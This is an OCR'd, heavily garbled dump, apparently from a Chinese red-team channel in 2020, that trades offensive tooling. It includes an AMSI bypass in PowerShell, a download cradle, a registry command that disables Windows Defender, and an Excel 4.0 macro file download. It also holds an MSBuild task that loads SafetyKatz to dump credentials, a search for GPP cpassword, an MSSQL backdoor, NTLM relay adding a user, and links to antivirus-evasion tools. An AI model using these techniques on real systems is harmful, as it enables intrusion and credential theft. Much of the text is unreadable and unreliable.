#ZHg: 123qwezzzzerc

HREFR# #5BERITH  #ANSEH
SQLserverflF - #RFHNE

Black cher*: BE&7E sqlshell FIA, , BWMEBT sqlserver JFEAN, RME, WEBEXIET [ME]

VRS XBEINEET, EBRETMEE - threads=10, FEMFRIBNEIARTEEN, BXIXENZEEZEAMEDT B

Black cher*: 389, BAET

L: BT—TFAWMHE sql server BT —&, EMZXAEMEARE [$BK] (nchar. nvarchar, ntext, X=MMNBFLELFE=MZ T “N”, ERREMNE Unicode BUIBLEMNFR., HNIMEFENFR, EXF
HRAFBAFTEMEMEBRT, BXERS, TERIEDEE, EXSXFRNEERNSSEMREE, Unicode ZREMENTHRAFTHEXMARESNEAMEN, ERENFHHAMINEDRR, RXEZFEEARD
FIWRR. nchar, nvarchar WKEZE 1 % 4000 28, f char. varchar LEEH#ESR, nchar. nvarchar MNHZEE 4000 DFRF, TERRXAEEINF; M char. varchar ZZgEFM#E 8000 &YX, 4000 1
X))

WERET . {REBEIEIE T

L: B SHITHNEREBRATBIIX DA

L: M MTERBRKEBIRAE

L:
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node+wasmifl{TiEEcode: WebAssembly+-+Executing+malicious+code+using+Syste...

emccZEE: TEEmscripten+-+C/C++HRIwasmiRiE+-+Hlif+-+1EE
® 127.0.0.1 = a ¢ @

NETEIE I Nemeicce B odaysti W oxOosecm W 996icu B s zom B @2e2uxunTe R

Console

~ Developers, remember to disable the Screen
 You can disable this warning in Screen

e failed: TypeError: Failed to execute
« / m .

instantiation


http://www.8sec.cc/index.php/archives/401/
https://iamroot.blog/2020/06/29/webassembly-executing-malicious-code-using-system/
https://juejin.im/entry/5bcd43a5e51d457a502a7554
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GolanghkShellcodeiN#i38, F] UL TEIE NSEZEAPCIEA.
KAEEBIS T -EEN T, 36028 -FE LI
{EARTEWINZELinux4miE, macA 2 Windows .
BXRARANEXEXE

FH QueueUserAPC() REEHILIZIEHEFIRES

T E itk

- 192.168.1... 192.168.1... https g Explorer .EXE 2628 x64
M0 192.168.1... 192.168.1... http flowing WIN7 notepad.exe 2668 x64 12s

Event Log X | Credentials X | Scripts X | Script Console X | Sites X | Beacon 192.168.123.12807548 X |

RS BNEZEIT

RedTeaming - 2020-06-30

#GRH
GolanghShellcode N &2, A LUSIZ LI E NS ZEAPCIEA.
KAEFEEISE-1EREN AT, 3602 - FE LA,


https://bbs.pediy.com/thread-220405.htm
https://blog.csdn.net/zicheng_lin/article/details/6597924
https://github.com/D00MFist/Go4aRun

{E A REWINE Linux47i%,mac 3z 35 Windows .
XA A XENE
[EDFIZSMDLLEANRARRENE- Xz -EER2ICIE

F QueueUserAPC() BEURIBHIZFZREZHIE
F+QueueUserAPC()+R R 38HI L2 1R H F IR _zicheng_link)%42-CSDN...
I B #hiit: GitHub+-+DO0MFist/Go4aRun:+Shellcode+runner+in+GO+...

192.168.1... 192.168.1... https flowing Explorer .EXE 2628

MM 192.168.1... 192.168.1... http flowing WIN7 notepad.exe 2668 x64 12s

Event Log X | Credentials X | Scripts X | Script Console X | Sites X | Beacon 192.168.123.12807540 X |

#RE: ANEZEIT

RedTeaming - 2020-06-30

EEifER, i BEE?

X EESRT B5ISHWEISH >, , , FEREIEIG?
Echoi&BidiE
#BBIRI5#

Wing: RARRERE, RESHIEALE

Lim3: BRI FTFMKSESEERND, L. htaccess XHBE session
lengyi: HHRFFRHERIIZE—MAE

lengyi: XAEILAN

RS : FESXMHRIIE. user.ini WEIINEETFIA

RedTeaming - 2020-06-30
#BBERIG#  #Redteam#
RedTeaming - 2020-06-30

RFETH, Zidd, RENEE, BHENZERTMUIET

Xeexe is an FUD exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Windows Xeexe Provides An Easy way to create Backdoors and Payload which can bypass TOP antivirus.

GitHub+-+persianhydra/Xeexe-TopAntivirusEvasion:+U...

#bypassAV # BIEFIG# #Redteam#


https://bbs.pediy.com/thread-220405.htm
https://blog.csdn.net/zicheng_lin/article/details/6597924
https://github.com/D00MFist/Go4aRun
https://github.com/persianhydra/Xeexe-TopAntivirusEvasion

Encryption XOR with
custom KEY

Add Powershell to Silent excitable

RedTeaming - 2020-06-30

—™hIR
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters

Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).

It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.


https://github.com/sysdream/ligolo

/1~ + [ == Tilix: Par défaut

1: root@Kali: ~/go/src/ligolo ~

go/src/ligolo# # control (relay) serverl

v

nobody@webserver: /tmp$ # target server




/'\\4 speedof.me
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websocketilliz Mk
websocket.org+Echo+Test+-+Powered+by+Kaazing
Try it out!

Location: Log:

Connect  Disconnect

Message
Rock it with HTMLS WebSocket
Send
Clear log
Instructions
the Connect buttor
2. Once connected, enter a message and press the Send button. The ocutput will appear in the Log section. You can change the message and send again multiple time
he Disconnect buttor
Note: (n some environments the WebSocket connection may fall due to Intermediary firewal

RedTeaming - 2020-07-01

#IEMRBRN#

DCOM+HTA#1TH#[E), MK RBEEAMAT), mEEN—BERERW, BINERRRINEE?
B EDCOMIEME MBI Exceli#1THE, BRHEx861HE,
https://codewhitesec.blogspot.com/2018/07/lethalht...


http://websocket.org/echo.html
https://codewhitesec.blogspot.com/2018/07/lethalhta.html

NET LethalHTA (stageless)

A stageless .NET version of the LethalHTA attack using DotNetToJScript.

Session:

Listener:

| Target (IP/Hostname):
|URI Path:

‘HTTP(S) Host:

HTTP(S) Port:

Use SSL/TLS:

Proxy:

Redirect via Beacon:

HTTP Redirect-Port:

Administrator * via 192.168.123.12807540 ’

inertcp |
192.168.3.144

/a

192.168.123.22

8699

7!

“IUse Beacon as the HTTP Host (via port forwarding)

8077

| Launch || Help




o+ C:\Windows\System32\cmd.exe |=[=R

——ldaps: Use LDAPS instead of LDAP
-y: Uerbose output
~h: Display this message

f no AD credentials are provided, integrated AD authentication will bhe

:\Users\sqladmin.ROOTKIT\Desktop\file>LethalHTADotNet .exe

:\Users\sgladmin .ROOTKIT\Desktop\file>LethalHTADotNet.exe 192.168.3.75
192.168.3.75:1001/a"
reating htafile COM obhject failed on target

>:\Users\sgladmin .ROOTKIT\Desktop\file>LethalHTADotNet.exe 192.168.3.75
192.168.3.75:10801/a"
reating htafile COM object failed on target

:\Users\sqladmin.ROOTKIT\Desktop\file>LethalHTADotNet.exe 192.168.3.73
192.168.3.75:18081/a"

:\Users\sqgladmin.ROOTKIT\Desktop\file>LethalHTADotNet.exe 192.168.3.75
192.168.3.75:10801/a"
reating htafile COM object failed on target

:\Users\sgladmin.ROOTKIT\Desktop\file>
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WebUIT Bzt M C2Profiles
— docker run --rm -d -p 3000:80 --name c2profilejs hattmo/c2profilejs:latest

e ]

Global Options

HTTP-Get
HTTP-Post
HTTP-Stager

RedTeaming - 2020-07-01

18I 3R BE X ] Windows Defender: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD

BEFINEK



RedTeaming - 2020-07-02

a = [Ref]. Assembly. GetType(’ System. Management. Automation. AmsiUtils’) < br >h="4456625220575263174452554847"
s = [string](0..13|b =a. GetField(s,'NonPublic,Static')
b. SetValue(null,$true)

HREE

#bypassAV#  #ASMI#
EX Wind PowerShell = 0 X

tvan> IEX (New-Object System.Net.WebClient).DownloadString(
)

WebClient).DownloadString(

LHRuNY . mimikatz 2.2.0 (x64) #19041 May 20 2020 14:57:36
La Vie, A L'Amour” - (oe.eo)
Benjamin DELPY “gentilkiwi®
//blog.gentilki
E TOUX
://pingcastle.com /

mimikatz(powershell) # standard::coffee

crazyman: amsi wldp evt #FEZEE
- SRAFEREER

RedTeaming - 2020-07-02

7EKali Linuxeh{$ I PowerShell Bl A #1738 5 M3

PowerShell+for+Pentesting+in+Kali+Linux+|+Offensiv...

Wing: powershell £F&#%#F, kali EBEFEMHA,

RedTeaming - 2020-07-02

#LTATRIG#

Bapft &2 B % LR R R Rl A S HdIL R IS ST R RE?
https://posts.specterops.io/automating-dll-hijack-...
TR
DLLHijackTest/Get-PotentialDLLHijack.ps1+at+master...


https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/
https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0
https://github.com/slyd0g/DLLHijackTest/blob/master/Get-PotentialDLLHijack.ps1

RedTeaming - 2020-07-02

amsi dll hijack bypass: amsi+dll+hijack+bypass

RedTeaming - 2020-07-02

S EZEIMNHEES B—ANJB)I CsharpsRBypassAvsiIF, X LfiEgithub B X B SRR — LR &
GitHub+-+DamonMohammadbagher/eBook-BypassingAVsByC...

#RFRH#

RedTeaming - 2020-07-02

360 RELINE H A —MER TR

WMIHACKER
RAMEEBEREDLHIT, BLHWMIEXEC, PSEXECHTH < ZBIZMRSFIBAWIN32_Process.createfiiTan <, REARMELWARRI00%EZE, BT BELWMIHACKERZE R EMBBEMIK TR, (TH445iH0)

FEIPRE: 1. WIPUT; 20 LR 30 XHFTE

T E ik -
GitHub+-+360-Linton-Lab/WMIHACKER:+A+Bypass+Anti-v...

BTENE, ZERITASNER, HHE, UER—EWQLES, TARRAIGEEANADODB. Stream Z KM HTRIBEIR, AT IRNER, TINSEvbsRFFHIXLERA, HEFemdiIEA, SABMERA, JFRRELH.

Wing: ER? [m#T]1[RHT]

RedTeaming - 2020-07-02

findstr /S/I cpassword \\sysvol<FQDN>\policies*.xml

#HEIER xml P cpassword FE, SFREIT, FMILELLR,
gpp wE


https://articles.zsxq.com/id_np7z7fhkj9wg.html
https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp
https://github.com/360-Linton-Lab/WMIHACKER/
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2EMolbin

1. E BN —TMS Excel 4.0%R%K

2 JBHTEEMS Excel 4.07: RAIA1ZFREIAUtoOpen
3R@me
=CALL("INSENG","DownloadFile","BCCJ","

5 ANAutoOpen

A2 =HALT() '45RiE<

4 RF T

L RIRE AT AR ER R BB T MS Excel 4.0%5%

SER:1{XPRwIn10 2.MS Excel 4.0537E£2013kR A8 A B2 IA T AR A~
BA

","D:\LOLbinTest\googlelndex.html",1) “HFAINSENG.dII#ERFHIDownloadFile F £ T

|

HL

e BR S e

Dffice Online 5 Q) |

(2Sm)
Baa
S
FkTRE o
[ e [ ®mE |

FD:\test\google.html


https://google.com/
https://google.com/

Al M .
A B AutoOpen - I
I

AutoOpen v fx| =CALL("INSENG”, “DownloadFile”, “BCCJ”, “https://google. com”, “D:\test\go
A B
1 [=CALL ("INSENG” “DownloadFile”, “BCCT”, "https://soozsle com”, “D:\test\zoozle html” 1) |
2 =HALT()
1
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FERlengyiRH), JRALXMHMIT, BTELERBFL, BN, ERvb+WALHTERHRNT.




crazyman: event Ef HAEEHEARR RIEHBRE
Wing: FBREZE, IEEMEAEHRINE RN

crazyman: ®]AERBGEDHEVGHITINE

lengyi: SRMXAY, AId 360 KM (EIM), P4 4634, 4624, 4672, 4776 WMEFHRE, 4672 RETRHbL,

S
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#T BA%I5#

BEpCIRER TR, s, IP. WO, xray33fERIshel il
WIZABRILIME, BlkSBSREL.
TOOLS++RIFAREB+-+BLILE
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#Poc | Exp#
OniselfifE FHI—LE R 22
gcl GitHub+-+0nise/spear-framework
cd spear-framework
php -S 127.0.0.1:8001

Apache Shiro B {3 38IE4¢i3i%H (CVE-2020-11989)

e

SHOE RE. olin

e RRAX B%
s

g

Payload

B

o

swxe

SET Mwlla/sAINadve WTTR/Y Y
B4 i) 0) CeskalI190N0) Firetaxist 8

mplication/ml a0 0. 5/% 00 8
0807, I-HE;000. 5, en-US;9=0.3_en 900, 7

ReTLrENUDS Rasponse

A, ABUCY

GRSARUDS
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#Poc | Exp#
OniselfifE FHI—LE R 22
gcl GitHub+-+0nise/spear-framework
cd spear-framework
php -S 127.0.0.1:8001


https://www.t00ls.net/thread-56950-1-1.html
https://github.com/0nise/spear-framework
https://github.com/0nise/spear-framework

Apache Shiro B {3 381F5E3 &7 (CVE-2020-11989)

Payload

] - ex | [ | Hensers | vex | mender

RedTeaming - 2020-07-03

#BBERIGE #lavaRe#

FBEEXMH T HIRREEHER T HFFR IR FclassXHIREG Wik RIE
LandGrey K& T
GitHub+-+LandGrey/ClassHound:+FI BEE X4 T H R REH T8 R %EiF+CL...

RedTeaming - 2020-07-03

#EMREE  #LIRAIRITH
FFARDPHEMEMITEHS
GitHub+-+Dm2333/SharpRDP:+SharpRDP{4shR

RedTeaming - 2020-07-03


https://github.com/LandGrey/ClassHound
https://github.com/Dm2333/SharpRDP

Question:

cs 4.1 BMFEHR T IS [FR5K] emm REEFAA AR

Answer:

4.16.25 B, BXLHRBEMEZZIEARELT, RESARELHUET RIER.
RedTeaming - 2020-07-04

#CSTips#
CS4.1507—1"BOF (Beacon Object Files) HIITE, fEIE KM Ebeacontefit T —TAEBKIAPI, R BUBITX MapiEH A —LEE XMEEINEERIR, FOMRFNFARLRNBRBIR)N, EERETEBHUNEIMET, LLUMDNSERX, EFHHdemoz
57— MEERFPERIFNBERENHIIBOF, BeaconfIAPIIX Y, XMBEAF T, —EEAMIFIRIFBOF, B#EFH T, MRMZT .

root@kali: ~/luser * ¢ x root x

GNU nano 4.3 Luser.c

, "You must be admin to use this!");

RedTeaming - 2020-07-04

RedTeaming - 2020-07-05

WaZFBitpHSIRES

EFANRWNPHZH— R
EIBEIRITEER, %—T360.


https://mp.weixin.qq.com/s/jaO3uFXa2BWqHfbG_wKWSA
http://8sec.cc/index.php/archives/407/

BN EIER: IR - ftp

ftp> whoami
TCRAATZ <

ftp> !whoami

desktop—blgevef\admin
Tt m

crazyman: 1248 OCEANLOTUS X4 Z 3R AXFd

RedTeaming - 2020-07-05

#Poc|Exp# #4IPAR I L#

SmbghostFJ IXFAgoRRABIHEATIEN, 332897 FBZE A pyARASHIIE AT BAFF MMUER R .

RedTeaming - 2020-07-05
windows PEZ]:

RedTeaming - 2020-07-05

STRAEC B3 ML(ERI XA
Cobalt Strike4.1 B 5 {EHASHY

T E R
RedTeaming - 2020-07-05

—5Dump Isass+logonpassowrd
¥ _E/RsafekatzF L]

IfESE T 7 T AImimikatz
HENMEPRELZEERDSE,
ZH8: 123Imske


https://github.com/deepsecurity-pe/GoGhost/blob/master/GoGhost.go
https://422926799.github.io/posts/c925c057.html
http://8sec.cc/index.php/archives/409/
https://www.cobaltstrike.com/downloads/csmanual41.pdf

RedTeaming - 2020-07-05
A wmiclIfiEL:

PS C:\Users\Administrator\Desktop> cscript C:\Windows\System32\winrm.vbs invoke Create wmicimv2/win32_Process -SkipCAche
ck -SkipCNcheck -file:.\poc.xml

xmABFMT
<?xml version="1.0" encoding="UTF-8"?>

calc.exe
C:</p:CurrentDirectory>

HENER, RINFEET


file:///p:CommandLine
file:///p:Create_INPUT

RBSFERE : &l C:\Window

WA
\V

VMIC.exe

RERAE : WMI Commandline Utility

AT EMES | MRETPAREE

rator> cd .\Desktop
rator\Desktop> C:\Windows\Systen32\winrn.vbs invoke Create wmicinu2/win32_Proc SkipChcheck ~Ski

tor\Desktop> ipt C:\Windows\Systen32\winrm.ubs invoke Create wmicim2/win32_Pro ~SkipChche
.\poc.xnl
Script Host Uersion 5.8

f¢<C> Microsoft Corporation 1996-2081. {75

ktop> cscript C:\Windo ysten32winrn.vbs invoke Create wmicimv2/win32_Pro ~SkipChche
xn1Z

ktop> C:\Windows\Systen32\winrn.vbs invoke Create wmicimw2/win32_Pro SkipChAcheck ~Skip)

rator\Desktop> cscript C:\Windows\Systen32winrn.vbs invoke Create wmicim2/win32_Proce SkipCAche|
ile:

R |wEt | we | e | owess|
_OUTPUT

Pro sId = 3848 e _ l“"

ReturnValue = @

PS C:\sers\idninistrator\Desktop) THRE: ERER (e
it Yindows SEMERE

Wing: E&EM7%E webshell i55?
—tIBE%: win7 Tk, FEEEGNR, FTEAE winrm RS, ARG
lengyi: R, HEMKBEMARARMN, XF winrm X9, RBREARREBHZE wni, wni BZEFE winrm &,

NS 360 2312& webshell BHEZFTEEFRNMEIE (] B lengyi



RedTeaming - 2020-07-06

#CSTips#
CSHffFiF, AV ITIE B SHIKit, B IMEIESI AR L B 289

GitHub+-+pandasec888/taowu-cobalt-strike

BRES200
&% ‘| mmEm® | pmroPso

ol A—|

TRCTESS
' | EWpowershel S e ad

E S L4
systeminto

mstsciZ &

e L
e 2 3kt 3
SharpEventLog
SharpWebScan
SharpCheckinfo
SharpSQLOump

-
—

RedTeaming - 2020-07-06
RXsHtE

Wing: XNERXIREERGZEN, msf HMHAET, SEBMRITEA.
L: #7—TF, —# rce ZEIE. AEENRD, BE 1fi MEE

RedTeaming - 2020-07-08

#BBIRI#
F5ifE — — Burptill s

BurpBounty/F5-BiglP_CVE-2020-5902.bb+at+master+-+w...

RedTeaming - 2020-07-08

Hack the box tabby: Hack+the+box+tabby+|+ 1 i EI{EE

RedTeaming - 2020-07-08

msbuild —fdump-+mimi
TUHRE TRREEFLRT
B BEE2EAmsbuldABXMESIEIT, BRZAISNI Msafekatz VISR EEEIRA, MHXEFEunsafe class, msbuilldiFEIEEMNERR. T&escrl IAE#/unsafeS 4],

minidump() 75 & fiflsassi# 2
SAfEFIApeloader fl#EmimikatzH4Tf#ER3


https://github.com/pandasec888/taowu-cobalt-strike
https://github.com/wagiro/BurpBounty/blob/master/profiles/F5-BigIP_CVE-2020-5902.bb
https://422926799.github.io/posts/5c929347.html

KSR EIFFENXE, RRERBIXBXERBTATET FRAR

HIPERIRIA -

o] BA%%IZ 360,

= nw=za

SRS 2T = {
MR C\WindowsiSyrtem)2\omd exe 8 |

% DEMNE SR G) awaudl

=D MRS 1% QR 3%

Wing: 4, IRZFLUTHEERT.

RedTeaming - 2020-07-09

#CSTips# #GF3#
SRMEB TKIAERABRERSE, BERZAMNIE XK shellcodeIERITRE, X MEERECEE—1 IR, ZAIRERITE R ESEArtifact.exefRIE, AEEEENRS— M RAMArtfact4EpayloadBIF], 3.14hRZAF4.0hRAER AR AL T X

o
Xo

WURGE: EFATH—E %R kit #SEURISIE
Wing: BAZE kit BEAIUE—TF., HECHTEREAN,

RedTeaming - 2020-07-09

B X URL Protocolh¥+ B e A/MATH <
ZHINES, ERTSEEETAGSAMER, MERFS—HIE


https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE/
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/dump%2Bmimi.xml
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/dump%2Bmimi.xml
https://mp.weixin.qq.com/s/BUp3ignvFJhpm-unStrXig

B % X URL+Protocol ¥+ &l B N /AT o < +-+ R SFHVNE
#AR BB

Wing: location #&

Wing: #H—LErl{Fia=M0 url B
PR (BRI UEKR] BllREE SR

RedTeaming - 2020-07-09

#FridaTips#
NI Fridafy 75 A5 RS URICTFRIN A R FERRIFN, ELFHMEMILRIGEENTHEShook REBENURRBENREREEFHEENE, BZMBIHREEN, SEMETIJAVAZOER, KESENERENSIEEMNFRARE REFMEESE
WERRA 20

M=IERRB A frida

Wing: BEMEREX[[RAIIM=ZEZBEAF A Ifrida- FAndroidkey -BER 2] (https://bbs.pediy.com/thread-260523.htm)

RedTeaming - 2020-07-09

#FridaTips#
NI TFridafg 75 AR RS URICTFRN B R FERRIFN, ESMEMILRIGEENFREShook RBEENURABENRERFFHEENE, BZMBIHLEN, I WETIJAVAZOES, KESBNRENGEEMNFRARE REFMEESE
WRERFRAT 40

M=EE A Ifrida

Wing: FEMEREX[[RAIM=ZEZBAFEANIfrida- FAndroidi 2y -BEFER2ICIE] (https://bbs.pediy.com/thread-260523.htm)

RedTeaming - 2020-07-09

IFEIMIANE-F Bt e TR BAEIE
http://8sec.cc/index.php/archives/413/

T RBEFERENANNATREL, EFIRE—LESBEESANEEM/ ZRE MPHENXS, BMREEI6EN—Mword#APHAER, REMI A wordl £ITANMGHE, EETSE/ N APCHSITH—EREMdocXEF, MR
HERRRE T oficeEHHAREIRITFdocX, ERNMEGHIIKIRPHEIMT, MERITH—M.dockIXX ., XEHNRABHIMITAHNERS>=007], EREETEERZMSEHAIUARAMRSEIVHE.

ATE

123xlifkvkvv

A LABRBEHBR? BERA—BANAZ TREREN.

HBEFRH#


http://www.8sec.cc/index.php/archives/363/
https://mp.weixin.qq.com/s/s88GxlRPpzSo7Uiwjt06eA
https://mp.weixin.qq.com/s/s88GxlRPpzSo7Uiwjt06eA
http://8sec.cc/index.php/archives/413/
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RS BLEEARA high TIE ]

L: BRIERRGEAMNGEE=T — P RAMETRAEN, —TRAGTSHNERBAN NN EEMARTESIRE api WIMERT, REMEICNIDTEAIRIE
HEREF: FIBTRE T AR FIBTAHFERII, MBHRNERNAE, BXEBENNBHREZRYE., [NE]NE]MNE][FM]

HRE: SR ZENEEES, UEMATAXEERIR [[FK]. —THEBEREKTZE

crazyman: &% anyrun RlzE T

Wing: FERRIBET ..

HERE: RIRIELEENT T, @R

RedTeaming - 2020-07-10

ZANREImsbuildB, BRIESIE R Ewindows defender ((XIEFR & &amsi bypassfiBRI%ER, AIEITHIER) , INHAEsafekatzr] Fi A ShRANIMimikatz, EEWMPER, HEITTXEME. B35,
AMSIHE R/ :
AmsiScanBufferBypass/ASBBypass.ps1+at+master+-+ras...

(BRI, AI7RHR)

Bt :

emp\debug.bin

or minidump...

lengyi: ps: 08 RELIf. .

PERE . BEREHEEET, ZRMT—TmEmsE bin, 4iE. .
lengyi: ARiEiniFin

VRS : ZRIARIRTEME, LSMNEEE pe THET [RE]

lengyi: Peload X MEEEMRE, e mimikatz 27 xml BE [E]

RedTeaming - 2020-07-10

BE—F, BEHERREET, REERABS.


https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1
http://note.youdao.com/s/FEs8X3Ub

TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dIl" >

<! [CDATAL

using System;

using System.IO;

using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Runtime.InteropServices;

class Baselibs

{
[D11Import("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[D11Import("kernel32")]
public static extern IntPtr LoadlLibrary(string name);

[D11Import("kernel32")]
public static extern bool VirtualProtect(IntPtr 1lpAddress, UIntPtr dwSize, uint flNewProtect, out uint 1lpflprotOld);
}

public class ClassExample : Task, ITask
{
public override bool Execute()

{

System.Reflection.Assembly.Load(File.ReadAl1Bytes(@"\127.0.0.1\c$\SafetyKatz.bin")).EntryPoint.Invoke(@, new object[] { new string[] { } });
return true;

}

I

11>

ERE: XMREMELART c#[FER][FER]
lengyi: [#BRQ][3ER] &EECE xml HISZENT. .

RedTeaming - 2020-07-11

#RARH

B G

1. MBROREILRIBAIBRIFE; . TAETS.
2. upx/E4E, MIFRPEERE T upxiBXFER,

3. fhiEEAE.

GitHub+-+wanglaizi/ByPass_MIMlkatz


https://github.com/wanglaizi/ByPass_MIMIkatz

lengyi: FRUELSERT

RedTeaming - 2020-07-11

#mimikatzRR A iE#
5 35E0-F A Smimikatz.exe(VTE 3 2.55/71)
FE1-INFR+ BB+ R IRBIR(VTERE/70)
J53%2-Invoke-Mimikatz(VTZ 328 39/58)
J53%3-1$ A Out-EncryptedScripthl 25 (VT2 25 %£0/60)
J5i%4-{ERxencrypt A (VTE 35 2/59)
J53E5-PowerShell i NEXEXX (VT E F 2R 15/58)
J53%6-Ci2F i fTpowershell(VTEZREK7/71)
FRT-ERINE23pe_to_shellcode(VT&EZ:547/70)
F5i%8-c#hNEshellcode(VTE Z:221/57)
753%9-DonutfliTmimikatz(VTE& 2 229/71)
755%10-msHINZibin(VT 3:52/59)
F53511-FC#NEmimikatz(VTE 25 35/73)
753%12-JS & mimikatz(VT 2 5 522/59)
J3i513-msiexeci Hmimikatz(VTE % 25/60)
F5iE14-83 Emsbuild.exe I F(VTE 3 Z4/59)
753%15-JScripthxsIkR (VT 325 7/60)
F53%16-jscripthscthR (VT E 335823/59)
7535%17-ReflectivePEInjectionfil £ (VT & 2 % 32/57)
FiE18-S i IsassiH 2 BT BB (VI ERE0/72)
A IEmimikatziZER 243 :
F73%1-WDigestZ2 F4E1Z
F5i%2-Debug PR T IE3-LSA 1RIF
FiE4-ZIRFEINEREN 5 Es-EREIEEF L E6-ZRIFNAF A

[R3zihit: Mimikatzf18 52 50 8 28 R BA 1 SR B& +- + FreeBuf & T 217l

RedTeaming - 2020-07-12

#HEBTARNTips#
cmdxFwin10BEhE .
LB S BRI

sc stop wuauserv
sc config wuauserv start= disabled

EHUNE: RAAREHRAZEW [M]
Wing: ERBEERZTE. EASHS
BFHALE: KE4E 666 HEIN

RedTeaming - 2020-07-12

MSSQL_BackDoor
BHEERIEFHMSSMSH Navicat FMIT sp_cmdExec

ERMAEWANREVRENE, ZRIRBEIREUER, FrIMRIKE TR MAT sp_cmdExec


https://www.freebuf.com/articles/system/234365.html

B #f mimikatz_powershell Z2020iR 74~

FRINEE X loader, AT IN# cobaltstrike 1 metasploit # payload
FRI0 mimikatz_ssp /517, BFICR RS 2R

sp_help, —££42RIES

GitHub+-+evi1ox/MSSQL_BackDoor

#Redteam# #mssql # tools #backdoor

64bts peexe

DETECTION DETAILS BEHAVIOR COMMUNITY

loadFile http



https://github.com/evi1ox/MSSQL_BackDoor

> -s 3. : L 1314 -c '"net S /add" /RunSystemPriv'
Token Privilege Adjuste

Starting DCERPC NTLM Relay...

DCOM Started

GOT TYPE1 MESSAGE TOKEN
NT Service\MSSQLSERVER

1alsH

GOT TYP
Accep

Process

CE O EB=¢ 82U el fsa o

external internal « listener user computer note process pid arch last
Bl 3.33.155 3.3.3.155 https_443 MSSQLSERVER PENTEST Ver: 6.2 loader.exe 6928 x64 1s
= 333.155 3.3.3.155 https_443 SYSTEM * PENTEST Ver: 6.2 loader.exe 7156 x64 S4s

Tasked

Tasked I

Tasked be K 3 F ) 1cUsxZKYPc( 1 CXMxZKYoumv

Tasked b e

Tasked Kf+YCNUQE1Buz

Tas be ¢ ZpMT Uy 1dRSZXYKAKY 4W2w5S ubno4 ZhYjLf+oeVeqLP+xf
+] host calll nva ) (7 4ZX7 X0 & u A M 4ZXYoixo0++/CWSCFx1
"“*"?:;@;”;‘ = ! qB34f 1 y BXXSEIXG+bqlpK/J+h98Dr

niot called’ homs ; i h1047/597r3YqLRWUKKKB
beaco pll whoami sGS RAGBEFI

Tas! beacon to run: whoami

host called home, sent: 37 bytes

received output = I o
nt authority\system J B 6 C FEF 3 6QWgKFaTupKcla

) G8524bcks cNd4dXZpcN

b“"‘?:;k;‘;”(m o 1fLF+Yeeai IMSp +Lzrowsr vOpRLggPS
+] host called home, 4 YS80cHMIMWAKFLSOVHAZIQUSAR ¢ '

Wing: @evilox

EviloX: &&MsiieT, TRBEERTEFHN [H5K]

EMNELEE: mssql: HAZRITEELTE sp_cmdExec', Try xp_cmdshell to Run Command !<br><br>'sp_downloadFile' FR2ABIINLGS, BAERAIGITHIER <br><br><br> XNEEEMLRE, B2
T LR,

RedTeaming - 2020-07-12

https://krober.biz/misc/reverse_shell.php?nsukey=Y...

EviloX: FNBEZLAR: [GitHub+-+evilox/shell_command](Chttps://github.com/evilox/shell_command)
lengyi: @&

RedTeaming - 2020-07-12

HBERIG#
BENNI %List, #MRZIA, FJcommit



https://krober.biz/misc/reverse_shell.php?nsukey=YEhbwW0Kf41RHvSNUXHFW34YzRmDz88%2FePiGn7WofWgba0LKueLnvGmcS3okXYaWgdBsyr95zmwR0YNEBjPXlosVqIDUQHx8y76jiXxRC7S7Y3wXVG5miwwcGPOfFaff2rUFiXL5engLPj6B%2BH7%2BMTZeSG3uFX%2FoLh3uA4eyJT6Qn3rrqH%2BwPjSYqE51mteE7QK5BdxG3oKwALk22tIfhQ%3D%3D

GitHub+-+EvilAnne/Violation_Pnetest:+i8i%4I 4 Checklist
cC 0 @& github.com

BIELI L Checklist

SANMEROBEREDR, FESTABKRINZRBARE, BAAMNE—TARRFRETEIFRBRTEOGER,
SBADTRBAH, HEARMBSRENE,

X3 Checklistf ZEESL &L R BRI BERZ XD 3K, FINREBIEBEMEHTT "B BRIFLLIIR".
fElssuesi®xy, STHZBENEMN, TRRMEE.

* WebShell REEERHE—ERD, EEEEANBRE, TEREEPERT.

o HETARRSIEDP, THEEREBOARBR, HlM, frp, nc. lex$E,

o BETIEBRNEBTRERFEAIAGR, BHILBIMRESR.

THEENRSABE. EAEBH,

{#Asqimap®Ei--random-agentB ¥,

nmap 3B XRIFE,

¢ AXHUBETELEITH.

« MEBEAVPS (FIEZ=. BIZE) MCobaltStrikeiniZfR5E%.

o FEBEIANNE, TRULE—E, FINH—E,

« BEMBARE, FBRAGHTUE,

s FRABFAEBIAM, £HADNMRRBEDCABMER, RF LBKEE. BEAMR.

o KITFARBTIRIE, TEAMNSTHRE

« BENES, AEE, I/E BEF, TE/APX (BHERE, —RAFEL. )

o REBRMRRAAFI723EHEVPNEOAHELM, —EBVPNEIFHEERIEIN, RAEREIRVPNEARRER
Lpittt (FMERE, —RETL. )

MBEAREEROEAXHBREEERMAONRITI, BETHBBMITH.

o BIEMENBN (BTEMXME, E8%F) , RARBMEHIERNRXEsORF+ERLE (BNERE,
—RATE. )

RedTeaming - 2020-07-14

#MacTips#
RIBOZER & F Repd, FHERRNER R IR Z IR MR TOEER, Bug Sir& T EE 4551 VM B MR I X4 TTEF T, REEE B 5 B i, R 4FPD R AR, (B B IR E AR R1T 7 . SREBILZITE S — AT FAN.
